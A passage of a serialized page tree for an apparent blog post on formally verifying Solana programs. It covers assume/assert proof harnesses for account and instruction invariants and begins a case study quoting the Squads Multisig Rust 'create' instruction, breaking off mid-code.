as:",{"type":24,"tag":96,"props":25120,"children":25121},{},[25122,25158],{"type":24,"tag":100,"props":25123,"children":25124},{},[25125,25152,25153],{"type":24,"tag":156,"props":25126,"children":25128},{"className":25127},[7098,7099],[25129],{"type":24,"tag":930,"props":25130,"children":25132},{"className":25131},[7104],[25133],{"type":24,"tag":930,"props":25134,"children":25136},{"className":25135,"ariaHidden":7110},[7109],[25137],{"type":24,"tag":930,"props":25138,"children":25140},{"className":25139},[7115],[25141,25145],{"type":24,"tag":930,"props":25142,"children":25144},{"className":25143,"style":24685},[7120],[],{"type":24,"tag":930,"props":25146,"children":25149},{"className":25147,"style":25148},[7126,24690],"margin-right:0.05764em;",[25150],{"type":30,"value":25151},"S",{"type":30,"value":18434},{"type":24,"tag":156,"props":25154,"children":25156},{"className":25155},[],[25157],{"type":30,"value":23258},{"type":24,"tag":100,"props":25159,"children":25160},{},[25161,25187,25188],{"type":24,"tag":156,"props":25162,"children":25164},{"className":25163},[7098,7099],[25165],{"type":24,"tag":930,"props":25166,"children":25168},{"className":25167},[7104],[25169],{"type":24,"tag":930,"props":25170,"children":25172},{"className":25171,"ariaHidden":7110},[7109],[25173],{"type":24,"tag":930,"props":25174,"children":25176},{"className":25175},[7115],[25177,25181],{"type":24,"tag":930,"props":25178,"children":25180},{"className":25179,"style":24685},[7120],[],{"type":24,"tag":930,"props":25182,"children":25184},{"className":25183,"style":25148},[7126,24690],[25185],{"type":30,"value":25186},"E",{"type":30,"value":18434},{"type":24,"tag":156,"props":25189,"children":25191},{"className":25190},[],[25192],{"type":30,"value":23265},{"type":24,"tag":33,"props":25194,"children":25195},{},[25196,25198,25225,25227,25232,25234,25240],{"type":30,"value":25197},"And ",{"type":24,"tag":156,"props":25199,"children":25201},{"className":25200},[7098,7099],[25202],{"type":24,"tag":930,"props":25203,"children":25205},{"className":25204},[7104],[25206],{"type":24,"tag":930,"props":25207,"children":25209},{"className":25208,"ariaHidden":7110},[7109],[25210],{"type":24,"tag":930,"props":25211,"children":25213},{"className":25212},[7115],[25214,25218],{"type":24,"tag":930,"props":25215,"children":25217},{"className":25216,"style":24685},[7120],[],{"type":24,"tag":930,"props":25219,"children":25222},{"className":25220,"style":25221},[7126,24690],"margin-right:0.07153em;",[25223],{"type":30,"value":25224},"K",{"type":30,"value":25226}," represents whether the instruction actually succeeds (i.e. invoking the handler returned an ",{"type":24,"tag":156,"props":25228,"children":25230},{"className":25229},[],[25231],{"type":30,"value":23593},{"type":30,"value":25233}," not an ",{"type":24,"tag":156,"props":25235,"children":25237},{"className":25236},[],[25238],{"type":30,"value":25239},"Err",{"type":30,"value":2716},{"type":24,"tag":33,"props":25242,"children":25243},{},[25244],{"type":30,"value":25245},"In order to verify these conditions we need to verify three cases:",{"type":24,"tag":151,"props":25247,"children":25249},{"id":25248},"account-invariants-1",[25250],{"type":30,"value":25251},"Account invariants",{"type":24,"tag":33,"props":25253,"children":25254},{},[25255,25257,25288,25290,25320,25322,25352],{"type":30,"value":25256},"After we execute an instruction, either the function should error and be reverted (",{"type":24,"tag":156,"props":25258,"children":25260},{"className":25259},[7098,7099],[25261],{"type":24,"tag":930,"props":25262,"children":25264},{"className":25263},[7104],[25265],{"type":24,"tag":930,"props":25266,"children":25268},{"className":25267,"ariaHidden":7110},[7109],[25269],{"type":24,"tag":930,"props":25270,"children":25272},{"className":25271},[7115],[25273,25277,25283],{"type":24,"tag":930,"props":25274,"children":25276},{"className":25275,"style":24685},[7120],[],{"type":24,"tag":930,"props":25278,"children":25280},{"className":25279},[7126],[25281],{"type":30,"value":25282},"¬",{"type":24,"tag":930,"props":25284,"children":25286},{"className":25285,"style":25221},[7126,24690],[25287],{"type":30,"value":25224},{"type":30,"value":25289},") or the account post-invariants should hold (",{"type":24,"tag":156,"props":25291,"children":25293},{"className":25292},[7098,7099],[25294],{"type":24,"tag":930,"props":25295,"children":25297},{"className":25296},[7104],[25298],{"type":24,"tag":930,"props":25299,"children":25301},{"className":25300,"ariaHidden":7110},[7109],[25302],{"type":24,"tag":930,"props":25303,"children":25305},{"className":25304},[7115],[25306,25310,25315],{"type":24,"tag":930,"props":25307,"children":25309},{"className":25308,"style":24685},[7120],[],{"type":24,"tag":930,"props":25311,"children":25313},{"className":25312,"style":24691},[7126,24690],[25314],{"type":30,"value":24694},{"type":24,"tag":930,"props":25316,"children":25318},{"className":25317},[7126],[25319],{"type":30,"value":7129},{"type":30,"value":25321},"). Furthermore, we can assume that before executing a function, the account pre-invariants (",{"type":24,"tag":156,"props":25323,"children":25325},{"className":25324},[7098,7099],[25326],{"type":24,"tag":930,"props":25327,"children":25329},{"className":25328},[7104],[25330],{"type":24,"tag":930,"props":25331,"children":25333},{"className":25332,"ariaHidden":7110},[7109],[25334],{"type":24,"tag":930,"props":25335,"children":25337},{"className":25336},[7115],[25338,25342,25347],{"type":24,"tag":930,"props":25339,"children":25341},{"className":25340,"style":24685},[7120],[],{"type":24,"tag":930,"props":25343,"children":25345},{"className":25344,"style":24691},[7126,24690],[25346],{"type":30,"value":24694},{"type":24,"tag":930,"props":25348,"children":25350},{"className":25349},[7126],[25351],{"type":30,"value":1818},{"type":30,"value":25353},") should hold since we will verify all of the functions eventually.",{"type":24,"tag":33,"props":25355,"children":25356},{},[25357,25359],{"type":30,"value":25358},"So we are trying to prove that ",{"type":24,"tag":156,"props":25360,"children":25362},{"className":25361},[7098,7099],[25363],{"type":24,"tag":930,"props":25364,"children":25366},{"className":25365},[7104],[25367],{"type":24,"tag":930,"props":25368,"children":25370},{"className":25369,"ariaHidden":7110},[7109],[25371,25408,25440],{"type":24,"tag":930,"props":25372,"children":25374},{"className":25373},[7115],[25375,25379,25384,25389,25394,25398,25404],{"type":24,"tag":930,"props":25376,"children":25378},{"className":25377,"style":7227},[7120],[],{"type":24,"tag":930,"props":25380,"children":25382},{"className":25381},[24818],[25383],{"type":30,"value":1010},{"type":24,"tag":930,"props":25385,"children":25387},{"className":25386,"style":24691},[7126,24690],[25388],{"type":30,"value":24694},{"type":24,"tag":930,"props":25390,"children":25392},{"className":25391},[7126],[25393],{"type":30,"value":1818},{"type":24,"tag":930,"props":25395,"children":25397},{"className":25396,"style":7207},[7206],[],{"type":24,"tag":930,"props":25399,"children":25401},{"className":25400},[7212],[25402],{"type":30,"value":25403},"∧",{"type":24,"tag":930,"props":25405,"children":25407},{"className":25406,"style":7207},[7206],[],{"type":24,"tag":930,"props":25409,"children":25411},{"className":25410},[7115],[25412,25416,25421,25426,25430,25436],{"type":24,"tag":930,"props":25413,"children":25415},{"className":25414,"style":7227},[7120],[],{"type":24,"tag":930,"props":25417,"children":25419},{"className":25418,"style":25221},[7126,24690],[25420],{"type":30,"value":25224},{"type":24,"tag":930,"props":25422,"children":25424},{"className":25423},[24840],[25425],{"type":30,"value":6249},{"type":24,"tag":930,"props":25427,"children":25429},{"className":25428,"style":7304},[7206],[],{"type":24,"tag":930,"props":25431,"children":25433},{"className":25432},[7309],[25434],{"type":30,"value":25435},"→",{"type":24,"tag":930,"props":25437,"children":25439},{"className":25438,"style":7304},[7206],[],{"type":24,"tag":930,"props":25441,"children":25443},{"className":25442},[7115],[25444,25448,25453],{"type":24,"tag":930,"props":25445,"children":25447},{"className":25446,"style":24685},[7120],[],{"type":24,"tag":930,"props":25449,"children":25451},{"className":25450,"style":24691},[7126,24690],[25452],{"type":30,"value":24694},{"type":24,"tag":930,"props":25454,"children":25456},{"className":25455},[7126],[25457],{"type":30,"value":7129},{"type":24,"tag":33,"props":25459,"children":25460},{},[25461],{"type":30,"value":25462},"We can construct a proof harness like the following:",{"type":24,"tag":920,"props":25464,"children":25466},{"code":25465,"language":22563,"meta":7,"className":22564,"style":7},"assume(P0)\nres = instruction_handler(...)\nassert(!K || P1)\n",[25467],{"type":24,"tag":156,"props":25468,"children":25469},{"__ignoreMap":7},[25470,25478,25495],{"type":24,"tag":930,"props":25471,"children":25472},{"class":932,"line":933},[25473],{"type":24,"tag":930,"props":25474,"children":25475},{"style":959},[25476],{"type":30,"value":25477},"assume(P0)\n",{"type":24,"tag":930,"props":25479,"children":25480},{"class":932,"line":984},[25481,25486,25490],{"type":24,"tag":930,"props":25482,"children":25483},{"style":959},[25484],{"type":30,"value":25485},"res ",{"type":24,"tag":930,"props":25487,"children":25488},{"style":1158},[25489],{"type":30,"value":1161},{"type":24,"tag":930,"props":25491,"children":25492},{"style":959},[25493],{"type":30,"value":25494}," instruction_handler(...)\n",{"type":24,"tag":930,"props":25496,"children":25497},{"class":932,"line":993},[25498,25502,25506,25511,25516,25521],{"type":24,"tag":930,"props":25499,"children":25500},{"style":1079},[25501],{"type":30,"value":23087},{"type":24,"tag":930,"props":25503,"children":25504},{"style":959},[25505],{"type":30,"value":1010},{"type":24,"tag":930,"props":25507,"children":25509},{"style":25508},"--shiki-default:#F44747",[25510],{"type":30,"value":3299},{"type":24,"tag":930,"props":25512,"children":25513},{"style":959},[25514],{"type":30,"value":25515},"K ",{"type":24,"tag":930,"props":25517,"children":25518},{"style":25508},[25519],{"type":30,"value":25520},"||",{"type":24,"tag":930,"props":25522,"children":25523},{"style":959},[25524],{"type":30,"value":25525}," P1)\n",{"type":24,"tag":33,"props":25527,"children":25528},{},[25529],{"type":30,"value":25530},"By itself, this harness doesn't actually prove much. For example, if the instruction fails every time, this proof will still work. However, in conjunction with the two subsequent proofs we can be assured that the instruction will actually succeed when we expect it to.",{"type":24,"tag":151,"props":25532,"children":25534},{"id":25533},"positive-instruction-invariant",[25535],{"type":30,"value":25536},"Positive instruction invariant",{"type":24,"tag":33,"props":25538,"children":25539},{},[25540,25542,25548,25550,25601],{"type":30,"value":25541},"Next we need to prove that ",{"type":24,"tag":156,"props":25543,"children":25545},{"className":25544},[],[25546],{"type":30,"value":25547},"success_if",{"type":30,"value":25549}," is a sufficient condition for instruction success. I.e. ",{"type":24,"tag":156,"props":25551,"children":25553},{"className":25552},[7098,7099],[25554],{"type":24,"tag":930,"props":25555,"children":25557},{"className":25556},[7104],[25558],{"type":24,"tag":930,"props":25559,"children":25561},{"className":25560,"ariaHidden":7110},[7109],[25562,25588],{"type":24,"tag":930,"props":25563,"children":25565},{"className":25564},[7115],[25566,25570,25575,25579,25584],{"type":24,"tag":930,"props":25567,"children":25569},{"className":25568,"style":24685},[7120],[],{"type":24,"tag":930,"props":25571,"children":25573},{"className":25572,"style":25148},[7126,24690],[25574],{"type":30,"value":25151},{"type":24,"tag":930,"props":25576,"children":25578},{"className":25577,"style":7304},[7206],[],{"type":24,"tag":930,"props":25580,"children":25582},{"className":25581},[7309],[25583],{"type":30,"value":25435},{"type":24,"tag":930,"props":25585,"children":25587},{"className":25586,"style":7304},[7206],[],{"type":24,"tag":930,"props":25589,"children":25591},{"className":25590},[7115],[25592,25596],{"type":24,"tag":930,"props":25593,"children":25595},{"className":25594,"style":24685},[7120],[],{"type":24,"tag":930,"props":25597,"children":25599},{"className":25598,"style":25221},[7126,24690],[25600],{"type":30,"value":25224},{"type":30,"value":436},{"type":24,"tag":33,"props":25603,"children":25604},{},[25605],{"type":30,"value":25606},"Just like before we can construct a proof harness:",{"type":24,"tag":920,"props":25608,"children":25610},{"code":25609,"language":22563,"meta":7,"className":22564,"style":7},"assume(S)\nres = instruction_handler(...)\nassert(K)\n",[25611],{"type":24,"tag":156,"props":25612,"children":25613},{"__ignoreMap":7},[25614,25622,25637],{"type":24,"tag":930,"props":25615,"children":25616},{"class":932,"line":933},[25617],{"type":24,"tag":930,"props":25618,"children":25619},{"style":959},[25620],{"type":30,"value":25621},"assume(S)\n",{"type":24,"tag":930,"props":25623,"children":25624},{"class":932,"line":984},[25625,25629,25633],{"type":24,"tag":930,"props":25626,"children":25627},{"style":959},[25628],{"type":30,"value":25485},{"type":24,"tag":930,"props":25630,"children":25631},{"style":1158},[25632],{"type":30,"value":1161},{"type":24,"tag":930,"props":25634,"children":25635},{"style":959},[25636],{"type":30,"value":25494},{"type":24,"tag":930,"props":25638,"children":25639},{"class":932,"line":993},[25640,25644],{"type":24,"tag":930,"props":25641,"children":25642},{"style":1079},[25643],{"type":30,"value":23087},{"type":24,"tag":930,"props":25645,"children":25646},{"style":959},[25647],{"type":30,"value":25648},"(K)\n",{"type":24,"tag":33,"props":25650,"children":25651},{},[25652,25654,25659,25661,25673],{"type":30,"value":25653},"This proof assures that whenever ",{"type":24,"tag":156,"props":25655,"children":25657},{"className":25656},[],[25658],{"type":30,"value":23258},{"type":30,"value":25660}," is satisfied, the instruction will succeed. However, remember that since this is not a biconditional, the instruction may also succeed ",{"type":24,"tag":6032,"props":25662,"children":25663},{},[25664,25666,25671],{"type":30,"value":25665},"even if ",{"type":24,"tag":156,"props":25667,"children":25669},{"className":25668},[],[25670],{"type":30,"value":23258},{"type":30,"value":25672}," is not satisfied",{"type":30,"value":25674},". To specify explicit error conditions we need our third and final proof.",{"type":24,"tag":151,"props":25676,"children":25678},{"id":25677},"_3-negative-instruction-invariant",[25679],{"type":30,"value":25680},"3. Negative instruction invariant",{"type":24,"tag":33,"props":25682,"children":25683},{},[25684,25686,25691,25693,25749],{"type":30,"value":25685},"Finally, we want to prove that ",{"type":24,"tag":156,"props":25687,"children":25689},{"className":25688},[],[25690],{"type":30,"value":23265},{"type":30,"value":25692}," is a sufficient condition for instruction failure. I.e. ",{"type":24,"tag":156,"props":25694,"children":25696},{"className":25695},[7098,7099],[25697],{"type":24,"tag":930,"props":25698,"children":25700},{"className":25699},[7104],[25701],{"type":24,"tag":930,"props":25702,"children":25704},{"className":25703,"ariaHidden":7110},[7109],[25705,25731],{"type":24,"tag":930,"props":25706,"children":25708},{"className":25707},[7115],[25709,25713,25718,25722,25727],{"type":24,"tag":930,"props":25710,"children":25712},{"className":25711,"style":24685},[7120],[],{"type":24,"tag":930,"props":25714,"children":25716},{"className":25715,"style":25148},[7126,24690],[25717],{"type":30,"value":25186},{"type":24,"tag":930,"props":25719,"children":25721},{"className":25720,"style":7304},[7206],[],{"type":24,"tag":930,"props":25723,"children":25725},{"className":25724},[7309],[25726],{"type":30,"value":25435},{"type":24,"tag":930,"props":25728,"children":25730},{"className":25729,"style":7304},[7206],[],{"type":24,"tag":930,"props":25732,"children":25734},{"className":25733},[7115],[25735,25739,25744],{"type":24,"tag":930,"props":25736,"children":25738},{"className":25737,"style":24685},[7120],[],{"type":24,"tag":930,"props":25740,"children":25742},{"className":25741},[7126],[25743],{"type":30,"value":25282},{"type":24,"tag":930,"props":25745,"children":25747},{"className":25746,"style":25221},[7126,24690],[25748],{"type":30,"value":25224},{"type":30,"value":436},{"type":24,"tag":33,"props":25751,"children":25752},{},[25753],{"type":30,"value":25754},"This harness looks just like the previous one:",{"type":24,"tag":920,"props":25756,"children":25758},{"code":25757,"language":22563,"meta":7,"className":22564,"style":7},"assume(E)\nres = instruction_handler(...)\nassert(!K)\n",[25759],{"type":24,"tag":156,"props":25760,"children":25761},{"__ignoreMap":7},[25762,25770,25785],{"type":24,"tag":930,"props":25763,"children":25764},{"class":932,"line":933},[25765],{"type":24,"tag":930,"props":25766,"children":25767},{"style":959},[25768],{"type":30,"value":25769},"assume(E)\n",{"type":24,"tag":930,"props":25771,"children":25772},{"class":932,"line":984},[25773,25777,25781],{"type":24,"tag":930,"props":25774,"children":25775},{"style":959},[25776],{"type":30,"value":25485},{"type":24,"tag":930,"props":25778,"children":25779},{"style":1158},[25780],{"type":30,"value":1161},{"type":24,"tag":930,"props":25782,"children":25783},{"style":959},[25784],{"type":30,"value":25494},{"type":24,"tag":930,"props":25786,"children":25787},{"class":932,"line":993},[25788,25792,25796,25800],{"type":24,"tag":930,"props":25789,"children":25790},{"style":1079},[25791],{"type":30,"value":23087},{"type":24,"tag":930,"props":25793,"children":25794},{"style":959},[25795],{"type":30,"value":1010},{"type":24,"tag":930,"props":25797,"children":25798},{"style":25508},[25799],{"type":30,"value":3299},{"type":24,"tag":930,"props":25801,"children":25802},{"style":959},[25803],{"type":30,"value":25804},"K)\n",{"type":24,"tag":33,"props":25806,"children":25807},{},[25808,25810,25814],{"type":30,"value":25809},"With these three harnesses, we are now able to formally verify that instructions succeed or fail when we expect them to ",{"type":24,"tag":6032,"props":25811,"children":25812},{},[25813],{"type":30,"value":19474},{"type":30,"value":25815}," the account invariants we expect are always being preserved.",{"type":24,"tag":68,"props":25817,"children":25819},{"id":25818},"case-study-squads-multisig",[25820],{"type":30,"value":25821},"Case study: Squads Multisig",{"type":24,"tag":33,"props":25823,"children":25824},{},[25825,25827,25832],{"type":30,"value":25826},"During our research, we focused on formally verifying aspects of the ",{"type":24,"tag":37,"props":25828,"children":25830},{"href":21926,"rel":25829},[41],[25831],{"type":30,"value":21930},{"type":30,"value":436},{"type":24,"tag":33,"props":25834,"children":25835},{},[25836,25838,25844,25846,25852],{"type":30,"value":25837},"The program defines a Multisig account (",{"type":24,"tag":156,"props":25839,"children":25841},{"className":25840},[],[25842],{"type":30,"value":25843},"Ms",{"type":30,"value":25845},") which has multiple members. These members can propose and then vote on transactions to execute on behalf of the multisig. If at least some ",{"type":24,"tag":156,"props":25847,"children":25849},{"className":25848},[],[25850],{"type":30,"value":25851},"threshold",{"type":30,"value":25853}," of members vote yes, the transaction will be invoked. Additionally, there is functionality to add/remove users and update the threshold.",{"type":24,"tag":33,"props":25855,"children":25856},{},[25857],{"type":30,"value":25858},"In practice, this structure provides a useful way to distribute authority across a group of individuals. From a formal verification perspective, it has both stateless and stateful features and constraints that provided a good testbed for our tooling.",{"type":24,"tag":33,"props":25860,"children":25861},{},[25862],{"type":30,"value":25863},"In this section we will go through a few examples of properties that we can verify on this program:",{"type":24,"tag":478,"props":25865,"children":25866},{},[25867,25872,25877,25882],{"type":24,"tag":100,"props":25868,"children":25869},{},[25870],{"type":30,"value":25871},"Incrementally verifying minimum requirements to create a multisig",{"type":24,"tag":100,"props":25873,"children":25874},{},[25875],{"type":30,"value":25876},"Verify threshold requirements",{"type":24,"tag":100,"props":25878,"children":25879},{},[25880],{"type":30,"value":25881},"Verify requirements to remove a member",{"type":24,"tag":100,"props":25883,"children":25884},{},[25885],{"type":30,"value":25886},"Safety guarantees",{"type":24,"tag":151,"props":25888,"children":25890},{"id":25889},"_1-incrementally-verifying-minimum-requirements-to-create-a-multisig",[25891],{"type":30,"value":25892},"1. Incrementally verifying minimum requirements to create a multisig",{"type":24,"tag":33,"props":25894,"children":25895},{},[25896,25898,25903],{"type":30,"value":25897},"Suppose we want to verify the minimum requirements to create a multisig, i.e. the ",{"type":24,"tag":156,"props":25899,"children":25901},{"className":25900},[],[25902],{"type":30,"value":23258},{"type":30,"value":25904}," expression.",{"type":24,"tag":33,"props":25906,"children":25907},{},[25908,25910,25915,25917,25923],{"type":30,"value":25909},"Creating a multisig (",{"type":24,"tag":156,"props":25911,"children":25913},{"className":25912},[],[25914],{"type":30,"value":25843},{"type":30,"value":25916},") requires invoking the ",{"type":24,"tag":156,"props":25918,"children":25920},{"className":25919},[],[25921],{"type":30,"value":25922},"create",{"type":30,"value":25924}," instruction:",{"type":24,"tag":920,"props":25926,"children":25928},{"code":25927,"language":6101,"meta":7,"className":6102,"style":7},"#[derive(Accounts)]\n#[instruction(threshold: u16, create_key: Pubkey, members: Vec\u003CPubkey>)]\npub struct Create\u003C'info> {\n    #[account(\n        init,\n        payer = creator,\n        space = Ms::SIZE_WITHOUT_MEMBERS + (members.len() * 32),\n        seeds = [b\"squad\", create_key.as_ref(), b\"multisig\"], bump\n    )]\n    pub multisig: Account\u003C'info, Ms>,\n\n    #[account(mut)]\n    pub creator: Signer\u003C'info>,\n    pub system_program: Program\u003C'info, System>,\n}\n\npub fn create(\n    ctx: Context\u003CCreate>,\n    threshold: u16,\n    create_key: Pubkey,\n    members: Vec\u003CPubkey>,\n) -> Result\u003C()> {\n    // sort the members and remove duplicates\n    let mut members = members;\n    members.sort();\n    members.dedup();\n\n    // check we don't exceed u16\n    let total_members = members.len();\n    if total_members \u003C 1 {\n        return err!(MsError::EmptyMembers);\n    }\n\n    // make sure we don't exceed u16 on first call\n    if total_members > usize::from(u16::MAX) {\n        return err!(MsError::MaxMembersReached);\n    }\n\n    // make sure threshold is valid\n    if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n        return err!(MsError::InvalidThreshold);\n    }\n\n    ctx.accounts.multisig.init(\n        threshold,\n        create_key,\n        members,\n        *ctx.bumps.get(\"multisig\").unwrap(),\n    )\n}\n",[25929],{"type":24,"tag":156,"props":25930,"children":25931},{"__ignoreMap":7},[25932,25949,26004,26034,26042,26050,26067,26118,26168,26176,26217,26224,26240,26273,26315,26322,26329,26348,26376,26396,26416,26444,26463,26471,26499,26519,26539,26546,26554,26586,26609,26643,26650,26657,26665,26706,26738,26745,26752,26760,26834,26866,26873,26880,26916,26928,26940,26952,27005,27012],{"type":24,"tag":930,"props":25933,"children":25934},{"class":932,"line":933},[25935,25940,25945],{"type":24,"tag":930,"props":25936,"children":25937},{"style":959},[25938],{"type":30,"value":25939},"#[derive(",{"type":24,"tag":930,"props":25941,"children":25942},{"style":943},[25943],{"type":30,"value":25944},"Accounts",{"type":24,"tag":930,"props":25946,"children":25947},{"style":959},[25948],{"type":30,"value":23362},{"type":24,"tag":930,"props":25950,"children":25951},{"class":932,"line":984},[25952,25957,25961,25965,25970,25974,25978,25983,25987,25991,25995,25999],{"type":24,"tag":930,"props":25953,"children":25954},{"style":959},[25955],{"type":30,"value":25956},"#[instruction(threshold",{"type":24,"tag":930,"props":25958,"children":25959},{"style":1158},[25960],{"type":30,"value":476},{"type":24,"tag":930,"props":25962,"children":25963},{"style":943},[25964],{"type":30,"value":24132},{"type":24,"tag":930,"props":25966,"children":25967},{"style":959},[25968],{"type":30,"value":25969},", create_key",{"type":24,"tag":930,"props":25971,"children":25972},{"style":1158},[25973],{"type":30,"value":476},{"type":24,"tag":930,"props":25975,"children":25976},{"style":943},[25977],{"type":30,"value":23959},{"type":24,"tag":930,"props":25979,"children":25980},{"style":959},[25981],{"type":30,"value":25982},", members",{"type":24,"tag":930,"props":25984,"children":25985},{"style":1158},[25986],{"type":30,"value":476},{"type":24,"tag":930,"props":25988,"children":25989},{"style":943},[25990],{"type":30,"value":24491},{"type":24,"tag":930,"props":25992,"children":25993},{"style":959},[25994],{"type":30,"value":1350},{"type":24,"tag":930,"props":25996,"children":25997},{"style":943},[25998],{"type":30,"value":24500},{"type":24,"tag":930,"props":26000,"children":26001},{"style":959},[26002],{"type":30,"value":26003},">)]\n",{"type":24,"tag":930,"props":26005,"children":26006},{"class":932,"line":993},[26007,26011,26015,26020,26025,26030],{"type":24,"tag":930,"props":26008,"children":26009},{"style":937},[26010],{"type":30,"value":16797},{"type":24,"tag":930,"props":26012,"children":26013},{"style":937},[26014],{"type":30,"value":24253},{"type":24,"tag":930,"props":26016,"children":26017},{"style":943},[26018],{"type":30,"value":26019}," Create",{"type":24,"tag":930,"props":26021,"children":26022},{"style":959},[26023],{"type":30,"value":26024},"\u003C'",{"type":24,"tag":930,"props":26026,"children":26027},{"style":943},[26028],{"type":30,"value":26029},"info",{"type":24,"tag":930,"props":26031,"children":26032},{"style":959},[26033],{"type":30,"value":10392},{"type":24,"tag":930,"props":26035,"children":26036},{"class":932,"line":1057},[26037],{"type":24,"tag":930,"props":26038,"children":26039},{"style":959},[26040],{"type":30,"value":26041},"    #[account(\n",{"type":24,"tag":930,"props":26043,"children":26044},{"class":932,"line":1066},[26045],{"type":24,"tag":930,"props":26046,"children":26047},{"style":959},[26048],{"type":30,"value":26049},"        init,\n",{"type":24,"tag":930,"props":26051,"children":26052},{"class":932,"line":1075},[26053,26058,26062],{"type":24,"tag":930,"props":26054,"children":26055},{"style":959},[26056],{"type":30,"value":26057},"        payer ",{"type":24,"tag":930,"props":26059,"children":26060},{"style":1158},[26061],{"type":30,"value":1161},{"type":24,"tag":930,"props":26063,"children":26064},{"style":959},[26065],{"type":30,"value":26066}," creator,\n",{"type":24,"tag":930,"props":26068,"children":26069},{"class":932,"line":1122},[26070,26075,26079,26083,26087,26092,26096,26101,26105,26109,26113],{"type":24,"tag":930,"props":26071,"children":26072},{"style":959},[26073],{"type":30,"value":26074},"        space ",{"type":24,"tag":930,"props":26076,"children":26077},{"style":1158},[26078],{"type":30,"value":1161},{"type":24,"tag":930,"props":26080,"children":26081},{"style":943},[26082],{"type":30,"value":24258},{"type":24,"tag":930,"props":26084,"children":26085},{"style":1158},[26086],{"type":30,"value":6597},{"type":24,"tag":930,"props":26088,"children":26089},{"style":943},[26090],{"type":30,"value":26091},"SIZE_WITHOUT_MEMBERS",{"type":24,"tag":930,"props":26093,"children":26094},{"style":1158},[26095],{"type":30,"value":12014},{"type":24,"tag":930,"props":26097,"children":26098},{"style":959},[26099],{"type":30,"value":26100}," (members",{"type":24,"tag":930,"props":26102,"children":26103},{"style":1158},[26104],{"type":30,"value":436},{"type":24,"tag":930,"props":26106,"children":26107},{"style":959},[26108],{"type":30,"value":24123},{"type":24,"tag":930,"props":26110,"children":26111},{"style":1158},[26112],{"type":30,"value":1410},{"type":24,"tag":930,"props":26114,"children":26115},{"style":959},[26116],{"type":30,"value":26117}," 32),\n",{"type":24,"tag":930,"props":26119,"children":26120},{"class":932,"line":1131},[26121,26126,26130,26135,26140,26144,26148,26153,26158,26163],{"type":24,"tag":930,"props":26122,"children":26123},{"style":959},[26124],{"type":30,"value":26125},"        seeds ",{"type":24,"tag":930,"props":26127,"children":26128},{"style":1158},[26129],{"type":30,"value":1161},{"type":24,"tag":930,"props":26131,"children":26132},{"style":959},[26133],{"type":30,"value":26134}," [",{"type":24,"tag":930,"props":26136,"children":26137},{"style":1270},[26138],{"type":30,"value":26139},"b\"squad\"",{"type":24,"tag":930,"props":26141,"children":26142},{"style":959},[26143],{"type":30,"value":25969},{"type":24,"tag":930,"props":26145,"children":26146},{"style":1158},[26147],{"type":30,"value":436},{"type":24,"tag":930,"props":26149,"children":26150},{"style":959},[26151],{"type":30,"value":26152},"as_ref(), ",{"type":24,"tag":930,"props":26154,"children":26155},{"style":1270},[26156],{"type":30,"value":26157},"b\"multisig\"",{"type":24,"tag":930,"props":26159,"children":26160},{"style":959},[26161],{"type":30,"value":26162},"], ",{"type":24,"tag":930,"props":26164,"children":26165},{"style":1023},[26166],{"type":30,"value":26167},"bump\n",{"type":24,"tag":930,"props":26169,"children":26170},{"class":932,"line":1144},[26171],{"type":24,"tag":930,"props":26172,"children":26173},{"style":959},[26174],{"type":30,"value":26175},"    )]\n",{"type":24,"tag":930,"props":26177,"children":26178},{"class":932,"line":1169},[26179,26183,26188,26192,26197,26201,26205,26209,26213],{"type":24,"tag":930,"props":26180,"children":26181},{"style":937},[26182],{"type":30,"value":23945},{"type":24,"tag":930,"props":26184,"children":26185},{"style":1023},[26186],{"type":30,"value":26187}," multisig",{"type":24,"tag":930,"props":26189,"children":26190},{"style":1158},[26191],{"type":30,"value":476},{"type":24,"tag":930,"props":26193,"children":26194},{"style":943},[26195],{"type":30,"value":26196}," Account",{"type":24,"tag":930,"props":26198,"children":26199},{"style":959},[26200],{"type":30,"value":26024},{"type":24,"tag":930,"props":26202,"children":26203},{"style":943},[26204],{"type":30,"value":26029},{"type":24,"tag":930,"props":26206,"children":26207},{"style":959},[26208],{"type":30,"value":962},{"type":24,"tag":930,"props":26210,"children":26211},{"style":943},[26212],{"type":30,"value":25843},{"type":24,"tag":930,"props":26214,"children":26215},{"style":959},[26216],{"type":30,"value":9251},{"type":24,"tag":930,"props":26218,"children":26219},{"class":932,"line":1191},[26220],{"type":24,"tag":930,"props":26221,"children":26222},{"emptyLinePlaceholder":16},[26223],{"type":30,"value":2412},{"type":24,"tag":930,"props":26225,"children":26226},{"class":932,"line":1223},[26227,26232,26236],{"type":24,"tag":930,"props":26228,"children":26229},{"style":959},[26230],{"type":30,"value":26231},"    #[account(",{"type":24,"tag":930,"props":26233,"children":26234},{"style":937},[26235],{"type":30,"value":6839},{"type":24,"tag":930,"props":26237,"children":26238},{"style":959},[26239],{"type":30,"value":23362},{"type":24,"tag":930,"props":26241,"children":26242},{"class":932,"line":1281},[26243,26247,26252,26256,26261,26265,26269],{"type":24,"tag":930,"props":26244,"children":26245},{"style":937},[26246],{"type":30,"value":23945},{"type":24,"tag":930,"props":26248,"children":26249},{"style":1023},[26250],{"type":30,"value":26251}," creator",{"type":24,"tag":930,"props":26253,"children":26254},{"style":1158},[26255],{"type":30,"value":476},{"type":24,"tag":930,"props":26257,"children":26258},{"style":943},[26259],{"type":30,"value":26260}," Signer",{"type":24,"tag":930,"props":26262,"children":26263},{"style":959},[26264],{"type":30,"value":26024},{"type":24,"tag":930,"props":26266,"children":26267},{"style":943},[26268],{"type":30,"value":26029},{"type":24,"tag":930,"props":26270,"children":26271},{"style":959},[26272],{"type":30,"value":9251},{"type":24,"tag":930,"props":26274,"children":26275},{"class":932,"line":1313},[26276,26280,26285,26289,26294,26298,26302,26306,26311],{"type":24,"tag":930,"props":26277,"children":26278},{"style":937},[26279],{"type":30,"value":23945},{"type":24,"tag":930,"props":26281,"children":26282},{"style":1023},[26283],{"type":30,"value":26284}," system_program",{"type":24,"tag":930,"props":26286,"children":26287},{"style":1158},[26288],{"type":30,"value":476},{"type":24,"tag":930,"props":26290,"children":26291},{"style":943},[26292],{"type":30,"value":26293}," 